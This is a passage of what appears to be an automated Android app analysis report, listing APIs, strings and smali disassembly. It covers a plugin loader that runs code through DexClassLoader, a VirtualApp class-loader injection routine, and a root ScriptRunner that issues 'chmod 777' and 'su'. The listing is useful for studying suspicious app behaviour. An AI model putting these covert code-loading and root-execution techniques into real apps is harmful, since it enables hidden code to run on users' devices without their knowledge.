                              • android.os.Build.MODEL:Ljava/lang/String
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • java.lang.String.hashCode
                              • java.lang.Math.abs
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • java.lang.StringBuilder.<init>
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • java.io.File.exists
                              • java.lang.StringBuilder.<init>
                              • java.lang.StringBuilder.append
                              • java.io.File.getPath
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • java.io.File.exists
                              • java.io.File.getPath
                              • java.io.File.getPath
                              • android.content.Context.getClassLoader
                              • dalvik.system.DexClassLoader.<init>
                              • java.lang.StringBuilder.<init>
                              • java.lang.StringBuilder.append
                              • java.io.File.getPath
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • java.lang.Exception.getMessage
                              • java.lang.StringBuilder.<init>
                              • java.io.File.getName
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • java.io.File.<init>
                              • java.io.File.delete
                              Strings
                              • dexopt
                              • _
                              • .jar
                              • move plugin to
                              • move
                              • to temp path fail
                              • .dex
                              Position Instruction Meta Information
                              0.prologue
                              1monitor-enter p0
                              2try_start_1: new-instance v0, Ljava/io/File;
                              4invoke-virtual {p1}, Landroid/content/Context;->getFilesDir()Ljava/io/File;
                              5move-result-object v1
                              7const-string/jumbo v2, "dexopt"
                              9invoke-direct {v0, v1, v2}, Ljava/io/File;-><init>(Ljava/io/File;Ljava/lang/String;)V
                              11invoke-virtual {v0}, Ljava/io/File;->exists()Z
                              12move-result v1
                              13if-nez v1, :cond_16
                              15invoke-virtual {v0}, Ljava/io/File;->mkdirs()Z
                              16cond_16: new-instance v1, Ljava/io/File;
                              18invoke-virtual {p2}, Lcom/omg/plugin/PluginInfo;->getPath()Ljava/lang/String;
                              19move-result-object v2
                              21invoke-direct {v1, v2}, Ljava/io/File;-><init>(Ljava/lang/String;)V
                              22try_start_1f:
                              23sget-object v2, Lcom/omg/plugin/PluginContext$DexClassLoaderPluginContext;->e:Ljava/lang/Object;
                              24monitor-enter v2
                              25try_start_22: new-instance v3, Ljava/lang/StringBuilder;
                              27invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
                              28new-instance v4, Ljava/lang/StringBuilder;
                              30invoke-direct {v4}, Ljava/lang/StringBuilder;-><init>()V
                              32sget-object v5, Landroid/os/Build;->MODEL:Ljava/lang/String;
                              34invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              35move-result-object v4
                              37invoke-static {p1}, Lcom/omg/android/tool/ProcessHelper;->getCurrentProcessName(Landroid/content/Context;)Ljava/lang/String;
                              38move-result-object v5
                              40invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              41move-result-object v4
                              43invoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              44move-result-object v4
                              46invoke-virtual {v4}, Ljava/lang/String;->hashCode()I
                              47move-result v4
                              49invoke-static {v4}, Ljava/lang/Math;->abs(I)I
                              50move-result v4
                              52invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
                              53move-result-object v3
                              55const-string/jumbo v4, ""
                              57invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              58move-result-object v3
                              60invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              61move-result-object v3
                              63invoke-static {p1}, Lcom/omg/tool/StorageManager;->create(Landroid/content/Context;)Lcom/omg/tool/StorageManager;
                              64move-result-object v4
                              65new-instance v5, Ljava/lang/StringBuilder;
                              67invoke-direct {v5}, Ljava/lang/StringBuilder;-><init>()V
                              69invoke-virtual {p2}, Lcom/omg/plugin/PluginInfo;->getName()Ljava/lang/String;
                              70move-result-object v6
                              72invoke-virtual {v5, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              73move-result-object v5
                              75invoke-virtual {p2}, Lcom/omg/plugin/PluginInfo;->getVersonCode()I
                              76move-result v6
                              78invoke-virtual {v5, v6}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
                              79move-result-object v5
                              81const-string/jumbo v6, "_"
                              83invoke-virtual {v5, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              84move-result-object v5
                              86invoke-virtual {v5, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              87move-result-object v3
                              89const-string/jumbo v5, ".jar"
                              91invoke-virtual {v3, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              92move-result-object v3
                              94invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              95move-result-object v3
                              97sget-object v5, Lcom/omg/tool/StorageManager;->Cache:Lcom/omg/tool/StorageManager$StorageType;
                              99invoke-virtual {v4, v3, v5}, Lcom/omg/tool/StorageManager;->createFile(Ljava/lang/String;Lcom/omg/tool/StorageManager$StorageType;)Ljava/io/File;
                              100move-result-object v3
                              101sget-boolean v4, Lcom/omg/plugin/PluginContext$DexClassLoaderPluginContext;->d:Z
                              102if-eqz v4, :cond_94
                              104invoke-virtual {v3}, Ljava/io/File;->exists()Z
                              105move-result v4
                              106if-nez v4, :cond_b5
                              107cond_94:
                              108invoke-static {v1, v3}, Lcom/omg/tool/IOManager;->moveTo(Ljava/io/File;Ljava/io/File;)V
                              109new-instance v4, Ljava/lang/StringBuilder;
                              111invoke-direct {v4}, Ljava/lang/StringBuilder;-><init>()V
                              113const-string/jumbo v5, "move plugin to"
                              115invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              116move-result-object v4
                              118invoke-virtual {v3}, Ljava/io/File;->getPath()Ljava/lang/String;
                              119move-result-object v5
                              121invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              122move-result-object v4
                              124invoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              125move-result-object v4
                              127invoke-static {v4}, Lcom/omg/tool/log/Logger;->D(Ljava/lang/String;)V
                              128const/4 v4, 0x1
                              129sput-boolean v4, Lcom/omg/plugin/PluginContext$DexClassLoaderPluginContext;->d:Z
                              130cond_b5: monitor-exit v2
                              131try_end_b6: if-eqz v0, :cond_d9
                              132try_start_b8:
                              133invoke-virtual {v3}, Ljava/io/File;->exists()Z
                              134move-result v1
                              135if-eqz v1, :cond_d9
                              136new-instance v1, Ldalvik/system/DexClassLoader;
                              138invoke-virtual {v3}, Ljava/io/File;->getPath()Ljava/lang/String;
                              139move-result-object v2
                              141invoke-virtual {v0}, Ljava/io/File;->getPath()Ljava/lang/String;
                              142move-result-object v4
                              143const/4 v5, 0x0
                              145invoke-virtual {p1}, Landroid/content/Context;->getClassLoader()Ljava/lang/ClassLoader;
                              146move-result-object v6
                              148invoke-direct {v1, v2, v4, v5, v6}, Ldalvik/system/DexClassLoader;-><init>(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/ClassLoader;)V
                              149iput-object v1, p0, Lcom/omg/plugin/PluginContext$DexClassLoaderPluginContext;->f:Ljava/lang/ClassLoader;
                              150iput-object p1, p0, Lcom/omg/plugin/PluginContext$DexClassLoaderPluginContext;->g:Landroid/content/Context;
                              151if-eqz p3, :cond_11c
                              153invoke-interface {p3, p0}, Lcom/omg/plugin/PluginContext$PluginContextLoadCallBack;->onLoad(Lcom/omg/plugin/PluginContext;)V
                              154cond_d9: monitor-exit p0
                              155return-void
                              156catchall_db: move-exception v0
                              157try_start_dc: monitor-exit v2
                              158try_start_dd: throw v0
                              159catch_de: move-exception v0
                              160try_start_df:
                              161invoke-static {v0}, Lcom/omg/tool/builds/ExceptionUtils;->handle(Ljava/lang/Exception;)V
                              162if-eqz p3, :cond_d9
                              163const/16 v0, 0x64
                              164new-instance v2, Ljava/lang/StringBuilder;
                              166invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
                              168const-string/jumbo v3, "move "
                              170invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              171move-result-object v2
                              173invoke-virtual {v1}, Ljava/io/File;->getPath()Ljava/lang/String;
                              174move-result-object v1
                              176invoke-virtual {v2, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              177move-result-object v1
                              179const-string/jumbo v2, " to temp path fail"
                              181invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              182move-result-object v1
                              184invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              185move-result-object v1
                              187invoke-interface {p3, v0, v1}, Lcom/omg/plugin/PluginContext$PluginContextLoadCallBack;->onError(ILjava/lang/String;)V
                              188try_end_108: goto/16 :goto_d9
                              189catch_109: move-exception v0
                              190try_start_10a:
                              191invoke-static {v0}, Lcom/omg/tool/builds/ExceptionUtils;->handle(Ljava/lang/Exception;)V
                              192if-eqz p3, :cond_d9
                              193const/16 v1, 0x64
                              195invoke-virtual {v0}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                              196move-result-object v0
                              198invoke-interface {p3, v1, v0}, Lcom/omg/plugin/PluginContext$PluginContextLoadCallBack;->onError(ILjava/lang/String;)V
                              199try_end_118: goto/16 :goto_d9
                              200catchall_119: move-exception v0
                              201monitor-exit p0
                              202throw v0
                              203cond_11c: new-instance v1, Ljava/io/File;
                              204new-instance v2, Ljava/lang/StringBuilder;
                              206invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
                              208invoke-virtual {v3}, Ljava/io/File;->getName()Ljava/lang/String;
                              209move-result-object v3
                              211invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              212move-result-object v2
                              214const-string/jumbo v3, ".dex"
                              216invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              217move-result-object v2
                              219invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              220move-result-object v2
                              222invoke-direct {v1, v0, v2}, Ljava/io/File;-><init>(Ljava/io/File;Ljava/lang/String;)V
                              224invoke-virtual {v1}, Ljava/io/File;->delete()Z
                              225try_end_13c: goto/16 :goto_d9
                              APIs
                              • android.app.Application.attachBaseContext
                              • com.lody.virtual.DelegateApplication64Bit.getPackageManager
                              • com.lody.virtual.DelegateApplication64Bit.get32BitPackageName
                              • android.content.pm.PackageManager.getApplicationInfo
                              • com.lody.virtual.DelegateApplication64Bit.getClassLoader
                              • com.lody.virtual.DelegateApplication64Bit.findField
                              • java.lang.reflect.Field.get
                              • java.util.ArrayList.<init>
                              • java.util.ArrayList.<init>
                              • android.content.pm.ApplicationInfo.publicSourceDir:Ljava/lang/String
                              • java.io.File.<init>
                              • java.util.ArrayList.add
                              • java.util.ArrayList.<init>
                              • android.content.pm.ApplicationInfo.nativeLibraryDir:Ljava/lang/String
                              • java.io.File.<init>
                              • java.util.ArrayList.add
                              • android.content.pm.ApplicationInfo.nativeLibraryDir:Ljava/lang/String
                              • java.io.File.<init>
                              • com.lody.virtual.DelegateApplication64Bit.expandFieldList
                              • com.lody.virtual.DelegateApplication64Bit.findMethod
                              • java.lang.reflect.Method.invoke
                              • com.lody.virtual.DelegateApplication64Bit.expandFieldArray
                              • com.lody.virtual.DelegateApplication64Bit.makeDexElements
                              • com.lody.virtual.DelegateApplication64Bit.expandFieldArray
                              • java.util.ArrayList.size
                              • java.util.ArrayList.iterator
                              • java.util.Iterator.hasNext
                              • java.util.Iterator.next
                              • java.lang.Object.getClass
                              • java.lang.Class.getSimpleName
                              • android.util.Log.w
                              • java.lang.Throwable.printStackTrace
                              • android.content.pm.ApplicationInfo.nativeLibraryDir:Ljava/lang/String
                              • java.io.File.<init>
                              • com.lody.virtual.DelegateApplication64Bit.expandFieldList
                              • com.lody.virtual.DelegateApplication64Bit.makeDexElements
                              • com.lody.virtual.DelegateApplication64Bit.expandFieldArray
                              • android.content.pm.ApplicationInfo.nativeLibraryDir:Ljava/lang/String
                              • java.io.File.<init>
                              • com.lody.virtual.DelegateApplication64Bit.expandFieldArray
                              • com.lody.virtual.DelegateApplication64Bit.findField
                              • java.lang.reflect.Field.get
                              • java.util.ArrayList.size
                              • java.util.ArrayList.toArray
                              • java.lang.reflect.Field.set
                              • android.content.pm.ApplicationInfo.className:Ljava/lang/String
                              • java.lang.ClassLoader.loadClass
                              • java.lang.Class.newInstance
                              • java.util.ArrayList.size
                              • java.util.ArrayList.toArray
                              • java.util.ArrayList.size
                              • java.lang.System.arraycopy
                              Strings
                              • pathList
                              • nativeLibraryDirectories
                              • nativeLibraryPathElements
                              • makePathElements
                              • dexElements
                              • Exception in makeDexElement
                              • dexElementsSuppressedExceptions
                              Position Instruction Meta Information
                              0.prologue
                              2invoke-super {p0, p1}, Landroid/app/Application;->attachBaseContext(Landroid/content/Context;)V
                              3try_start_3:
                              4invoke-virtual {p0}, Lcom/lody/virtual/DelegateApplication64Bit;->getPackageManager()Landroid/content/pm/PackageManager;
                              5move-result-object v0
                              7invoke-virtual {p0}, Lcom/lody/virtual/DelegateApplication64Bit;->get32BitPackageName()Ljava/lang/String;
                              8move-result-object v1
                              9const/4 v2, 0x0
                              11invoke-virtual {v0, v1, v2}, Landroid/content/pm/PackageManager;->getApplicationInfo(Ljava/lang/String;I)Landroid/content/pm/ApplicationInfo;
                              12move-result-object v2
                              14invoke-virtual {p0}, Lcom/lody/virtual/DelegateApplication64Bit;->getClassLoader()Ljava/lang/ClassLoader;
                              15move-result-object v3
                              17const-string v0, "pathList"
                              19invoke-static {v3, v0}, Lcom/lody/virtual/DelegateApplication64Bit;->findField(Ljava/lang/Object;Ljava/lang/String;)Ljava/lang/reflect/Field;
                              20move-result-object v0
                              22invoke-virtual {v0, v3}, Ljava/lang/reflect/Field;->get(Ljava/lang/Object;)Ljava/lang/Object;
                              23move-result-object v1
                              24new-instance v4, Ljava/util/ArrayList;
                              26invoke-direct {v4}, Ljava/util/ArrayList;-><init>()V
                              27new-instance v5, Ljava/util/ArrayList;
                              29invoke-direct {v5}, Ljava/util/ArrayList;-><init>()V
                              30new-instance v0, Ljava/io/File;
                              32iget-object v6, v2, Landroid/content/pm/ApplicationInfo;->publicSourceDir:Ljava/lang/String;
                              34invoke-direct {v0, v6}, Ljava/io/File;-><init>(Ljava/lang/String;)V
                              36invoke-virtual {v5, v0}, Ljava/util/ArrayList;->add(Ljava/lang/Object;)Z
                              37new-instance v0, Ljava/util/ArrayList;
                              39invoke-direct {v0}, Ljava/util/ArrayList;-><init>()V
                              40new-instance v6, Ljava/io/File;
                              42iget-object v7, v2, Landroid/content/pm/ApplicationInfo;->nativeLibraryDir:Ljava/lang/String;
                              44invoke-direct {v6, v7}, Ljava/io/File;-><init>(Ljava/lang/String;)V
                              46invoke-virtual {v0, v6}, Ljava/util/ArrayList;->add(Ljava/lang/Object;)Z
                              47sget v6, Landroid/os/Build$VERSION;->SDK_INT:I
                              48const/16 v7, 0x19
                              49if-le v6, v7, :cond_ac
                              51const-string v6, "nativeLibraryDirectories"
                              52const/4 v7, 0x1
                              53new-array v7, v7, [Ljava/io/File;
                              54const/4 v8, 0x0
                              55new-instance v9, Ljava/io/File;
                              57iget-object v10, v2, Landroid/content/pm/ApplicationInfo;->nativeLibraryDir:Ljava/lang/String;
                              59invoke-direct {v9, v10}, Ljava/io/File;-><init>(Ljava/lang/String;)V
                              60aput-object v9, v7, v8
                              62invoke-static {v1, v6, v7}, Lcom/lody/virtual/DelegateApplication64Bit;->expandFieldList(Ljava/lang/Object;Ljava/lang/String;[Ljava/lang/Object;)V
                              64const-string v6, "nativeLibraryPathElements"
                              66const-string v7, "makePathElements"
                              67const/4 v8, 0x1
                              68new-array v8, v8, [Ljava/lang/Class;
                              69const/4 v9, 0x0
                              70const-class v10, Ljava/util/List;
                              71aput-object v10, v8, v9
                              73invoke-static {v1, v7, v8}, Lcom/lody/virtual/DelegateApplication64Bit;->findMethod(Ljava/lang/Object;Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;
                              74move-result-object v7
                              75const/4 v8, 0x1
                              76new-array v8, v8, [Ljava/lang/Object;
                              77const/4 v9, 0x0
                              78aput-object v0, v8, v9
                              80invoke-virtual {v7, v1, v8}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                              81move-result-object v0
                              82check-cast v0, [Ljava/lang/Object;
                              83check-cast v0, [Ljava/lang/Object;
                              85invoke-static {v1, v6, v0}, Lcom/lody/virtual/DelegateApplication64Bit;->expandFieldArray(Ljava/lang/Object;Ljava/lang/String;[Ljava/lang/Object;)V
                              86goto_7a:
                              87const-string v0, "dexElements"
                              89invoke-static {v1, v5, v4}, Lcom/lody/virtual/DelegateApplication64Bit;->makeDexElements(Ljava/lang/Object;Ljava/util/ArrayList;Ljava/util/ArrayList;)[Ljava/lang/Object;
                              90move-result-object v5
                              92invoke-static {v1, v0, v5}, Lcom/lody/virtual/DelegateApplication64Bit;->expandFieldArray(Ljava/lang/Object;Ljava/lang/String;[Ljava/lang/Object;)V
                              94invoke-virtual {v4}, Ljava/util/ArrayList;->size()I
                              95move-result v0
                              96if-lez v0, :cond_100
                              98invoke-virtual {v4}, Ljava/util/ArrayList;->iterator()Ljava/util/Iterator;
                              99move-result-object v1
                              100goto_8d:
                              101invoke-interface {v1}, Ljava/util/Iterator;->hasNext()Z
                              102move-result v0
                              103if-eqz v0, :cond_e1
                              105invoke-interface {v1}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                              106move-result-object v0
                              107check-cast v0, Ljava/io/IOException;
                              109invoke-virtual {p0}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
                              110move-result-object v5
                              112invoke-virtual {v5}, Ljava/lang/Class;->getSimpleName()Ljava/lang/String;
                              113move-result-object v5
                              115const-string v6, "Exception in makeDexElement"
                              117invoke-static {v5, v6, v0}, Landroid/util/Log;->w(Ljava/lang/String;Ljava/lang/String;Ljava/lang/Throwable;)I
                              118try_end_a6: goto/16 :goto_8d
                              119catch_a7: move-exception v0
                              121invoke-virtual {v0}, Ljava/lang/Throwable;->printStackTrace()V
                              122goto_ab: return-void
                              123cond_ac: sget v6, Landroid/os/Build$VERSION;->SDK_INT:I
                              124const/16 v7, 0x17
                              125if-lt v6, v7, :cond_ce
                              127const-string v6, "nativeLibraryDirectories"
                              128const/4 v7, 0x1
                              129new-array v7, v7, [Ljava/io/File;
                              130const/4 v8, 0x0
                              131new-instance v9, Ljava/io/File;
                              133iget-object v10, v2, Landroid/content/pm/ApplicationInfo;->nativeLibraryDir:Ljava/lang/String;
                              135invoke-direct {v9, v10}, Ljava/io/File;-><init>(Ljava/lang/String;)V
                              136aput-object v9, v7, v8
                              138invoke-static {v1, v6, v7}, Lcom/lody/virtual/DelegateApplication64Bit;->expandFieldList(Ljava/lang/Object;Ljava/lang/String;[Ljava/lang/Object;)V
                              140const-string v6, "nativeLibraryPathElements"
                              142invoke-static {v1, v0, v4}, Lcom/lody/virtual/DelegateApplication64Bit;->makeDexElements(Ljava/lang/Object;Ljava/util/ArrayList;Ljava/util/ArrayList;)[Ljava/lang/Object;
                              143move-result-object v0
                              145invoke-static {v1, v6, v0}, Lcom/lody/virtual/DelegateApplication64Bit;->expandFieldArray(Ljava/lang/Object;Ljava/lang/String;[Ljava/lang/Object;)V
                              146goto/16 :goto_7a
                              147cond_ce:
                              148const-string v0, "nativeLibraryDirectories"
                              149const/4 v6, 0x1
                              150new-array v6, v6, [Ljava/io/File;
                              151const/4 v7, 0x0
                              152new-instance v8, Ljava/io/File;
                              154iget-object v9, v2, Landroid/content/pm/ApplicationInfo;->nativeLibraryDir:Ljava/lang/String;
                              156invoke-direct {v8, v9}, Ljava/io/File;-><init>(Ljava/lang/String;)V
                              157aput-object v8, v6, v7
                              159invoke-static {v1, v0, v6}, Lcom/lody/virtual/DelegateApplication64Bit;->expandFieldArray(Ljava/lang/Object;Ljava/lang/String;[Ljava/lang/Object;)V
                              160goto/16 :goto_7a
                              161cond_e1:
                              162const-string v0, "dexElementsSuppressedExceptions"
                              164invoke-static {v3, v0}, Lcom/lody/virtual/DelegateApplication64Bit;->findField(Ljava/lang/Object;Ljava/lang/String;)Ljava/lang/reflect/Field;
                              165move-result-object v5
                              167invoke-virtual {v5, v3}, Ljava/lang/reflect/Field;->get(Ljava/lang/Object;)Ljava/lang/Object;
                              168move-result-object v0
                              169check-cast v0, [Ljava/io/IOException;
                              170check-cast v0, [Ljava/io/IOException;
                              171if-nez v0, :cond_10f
                              173invoke-virtual {v4}, Ljava/util/ArrayList;->size()I
                              174move-result v0
                              175new-array v0, v0, [Ljava/io/IOException;
                              177invoke-virtual {v4, v0}, Ljava/util/ArrayList;->toArray([Ljava/lang/Object;)[Ljava/lang/Object;
                              178move-result-object v0
                              179check-cast v0, [Ljava/io/IOException;
                              180goto_fd:
                              181invoke-virtual {v5, v3, v0}, Ljava/lang/reflect/Field;->set(Ljava/lang/Object;Ljava/lang/Object;)V
                              182cond_100:
                              183iget-object v0, v2, Landroid/content/pm/ApplicationInfo;->className:Ljava/lang/String;
                              185invoke-virtual {v3, v0}, Ljava/lang/ClassLoader;->loadClass(Ljava/lang/String;)Ljava/lang/Class;
                              186move-result-object v0
                              188invoke-virtual {v0}, Ljava/lang/Class;->newInstance()Ljava/lang/Object;
                              189move-result-object v0
                              190check-cast v0, Landroid/app/Application;
                              191iput-object v0, p0, Lcom/lody/virtual/DelegateApplication64Bit;->mTarget:Landroid/app/Application;
                              192goto/16 :goto_ab
                              193cond_10f:
                              194invoke-virtual {v4}, Ljava/util/ArrayList;->size()I
                              195move-result v1
                              196array-length v6, v0
                              197add-int/2addr v1, v6
                              198new-array v1, v1, [Ljava/io/IOException;
                              200invoke-virtual {v4, v1}, Ljava/util/ArrayList;->toArray([Ljava/lang/Object;)[Ljava/lang/Object;
                              201const/4 v6, 0x0
                              203invoke-virtual {v4}, Ljava/util/ArrayList;->size()I
                              204move-result v4
                              205array-length v7, v0
                              207invoke-static {v0, v6, v1, v4, v7}, Ljava/lang/System;->arraycopy(Ljava/lang/Object;ILjava/lang/Object;II)V
                              208try_end_123: move-object v0, v1
                              209goto/16 :goto_fd
                              APIs
                              • com.omg.event.utils.RootContext$ScriptRunner.file:Ljava/io/File
                              • java.io.File.createNewFile
                              • com.omg.event.utils.RootContext$ScriptRunner.file:Ljava/io/File
                              • java.io.File.getAbsolutePath
                              • java.lang.Runtime.getRuntime
                              • java.lang.StringBuilder.<init>
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • java.lang.Runtime.exec
                              • java.lang.Process.waitFor
                              • com.omg.event.utils.RootContext$ScriptRunner.file:Ljava/io/File
                              • java.io.FileOutputStream.<init>
                              • java.io.OutputStreamWriter.<init>
                              • java.io.File.<init>
                              • java.io.File.exists
                              • java.io.OutputStreamWriter.write
                              • com.omg.event.utils.RootContext$ScriptRunner.script:Ljava/lang/String
                              • java.io.OutputStreamWriter.write
                              • com.omg.event.utils.RootContext$ScriptRunner.script:Ljava/lang/String
                              • java.lang.String.endsWith
                              • java.io.OutputStreamWriter.write
                              • java.io.OutputStreamWriter.write
                              • java.io.OutputStreamWriter.flush
                              • java.io.OutputStreamWriter.close
                              • java.lang.Runtime.getRuntime
                              • java.lang.Runtime.exec
                              • com.omg.event.utils.RootContext$ScriptRunner.exec:Ljava/lang/Process
                              • java.lang.Process.getOutputStream
                              • java.io.DataOutputStream.<init>
                              • java.io.DataOutputStream.writeBytes
                              • java.io.DataOutputStream.flush
                              • java.io.DataOutputStream.close
                              • com.omg.event.utils.RootContext$ScriptRunner.exec:Ljava/lang/Process
                              • java.lang.Process.getInputStream
                              • java.io.InputStreamReader.<init>
                              • java.io.InputStreamReader.read
                              • com.omg.event.utils.RootContext$ScriptRunner.res:Ljava/lang/StringBuilder
                              • com.omg.event.utils.RootContext$ScriptRunner.res:Ljava/lang/StringBuilder
                              • java.lang.StringBuilder.append
                              • com.omg.event.utils.RootContext$ScriptRunner.res:Ljava/lang/StringBuilder
                              • com.omg.event.utils.RootContext$ScriptRunner.res:Ljava/lang/StringBuilder
                              • java.lang.StringBuilder.append
                              • com.omg.event.utils.RootContext$ScriptRunner.destroy
                              • com.omg.event.utils.RootContext$ScriptRunner.exec:Ljava/lang/Process
                              • java.lang.Process.getErrorStream
                              • java.io.InputStreamReader.<init>
                              • java.io.InputStreamReader.read
                              • com.omg.event.utils.RootContext$ScriptRunner.res:Ljava/lang/StringBuilder
                              • com.omg.event.utils.RootContext$ScriptRunner.res:Ljava/lang/StringBuilder
                              • java.lang.StringBuilder.append
                              • com.omg.event.utils.RootContext$ScriptRunner.res:Ljava/lang/StringBuilder
                              • com.omg.event.utils.RootContext$ScriptRunner.res:Ljava/lang/StringBuilder
                              • java.lang.StringBuilder.<init>
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • java.lang.StringBuilder.append
                              • com.omg.event.utils.RootContext$ScriptRunner.destroy
                              • com.omg.event.utils.RootContext$ScriptRunner.exec:Ljava/lang/Process
                              • com.omg.event.utils.RootContext$ScriptRunner.exec:Ljava/lang/Process
                              • java.lang.Process.waitFor
                              • com.omg.event.utils.RootContext$ScriptRunner.destroy
                              • com.omg.event.utils.RootContext$ScriptRunner.destroy
                              Strings
                              • chmod 777
                              • /system/bin/sh
                              • #!/system/bin/sh\n
                              • \n
                              • exit\n
                              • su
                              • \nOperation timed-out
                              Position Instruction Meta Information
                              0.prologue
                              1const/4 v5, -0x1
                              2try_start_1:
                              3iget-object v0, p0, Lcom/omg/event/utils/RootContext$ScriptRunner;->file:Ljava/io/File;
                              5invoke-virtual {v0}, Ljava/io/File;->createNewFile()Z
                              7iget-object v0, p0, Lcom/omg/event/utils/RootContext$ScriptRunner;->file:Ljava/io/File;
                              9invoke-virtual {v0}, Ljava/io/File;->getAbsolutePath()Ljava/lang/String;
                              10move-result-object v0
                              12invoke-static {}, Ljava/lang/Runtime;->getRuntime()Ljava/lang/Runtime;
                              13move-result-object v1
                              14new-instance v2, Ljava/lang/StringBuilder;
                              16invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
                              18const-string v3, "chmod 777 "
                              20invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              21move-result-object v2
                              23invoke-virtual {v2, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              24move-result-object v2
                              26invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              27move-result-object v2
                              29invoke-virtual {v1, v2}, Ljava/lang/Runtime;->exec(Ljava/lang/String;)Ljava/lang/Process;
                              30move-result-object v1
                              32invoke-virtual {v1}, Ljava/lang/Process;->waitFor()I
                              33new-instance v1, Ljava/io/OutputStreamWriter;
                              34new-instance v2, Ljava/io/FileOutputStream;
                              36iget-object v3, p0, Lcom/omg/event/utils/RootContext$ScriptRunner;->file:Ljava/io/File;
                              38invoke-direct {v2, v3}, Ljava/io/FileOutputStream;-><init>(Ljava/io/File;)V
                              40invoke-direct {v1, v2}, Ljava/io/OutputStreamWriter;-><init>(Ljava/io/OutputStream;)V
                              41new-instance v2, Ljava/io/File;
                              43const-string v3, "/system/bin/sh"
                              45invoke-direct {v2, v3}, Ljava/io/File;-><init>(Ljava/lang/String;)V
                              47invoke-virtual {v2}, Ljava/io/File;->exists()Z
                              48move-result v2
                              49if-eqz v2, :cond_48
                              51const-string v2, "#!/system/bin/sh\n"
                              53invoke-virtual {v1, v2}, Ljava/io/OutputStreamWriter;->write(Ljava/lang/String;)V
                              54cond_48:
                              55iget-object v2, p0, Lcom/omg/event/utils/RootContext$ScriptRunner;->script:Ljava/lang/String;
                              57invoke-virtual {v1, v2}, Ljava/io/OutputStreamWriter;->write(Ljava/lang/String;)V
                              59iget-object v2, p0, Lcom/omg/event/utils/RootContext$ScriptRunner;->script:Ljava/lang/String;
                              61const-string v3, "\n"
                              63invoke-virtual {v2, v3}, Ljava/lang/String;->endsWith(Ljava/lang/String;)Z
                              64move-result v2
                              65if-nez v2, :cond_5c
                              67const-string v2, "\n"
                              69invoke-virtual {v1, v2}, Ljava/io/OutputStreamWriter;->write(Ljava/lang/String;)V
                              70cond_5c:
                              71const-string v2, "exit\n"
                              73invoke-virtual {v1, v2}, Ljava/io/OutputStreamWriter;->write(Ljava/lang/String;)V
                              75invoke-virtual {v1}, Ljava/io/OutputStreamWriter;->flush()V
                              77invoke-virtual {v1}, Ljava/io/OutputStreamWriter;->close()V
                              79invoke-static {}, Ljava/lang/Runtime;->getRuntime()Ljava/lang/Runtime;
                              80move-result-object v1
                              82const-string v2, "su"
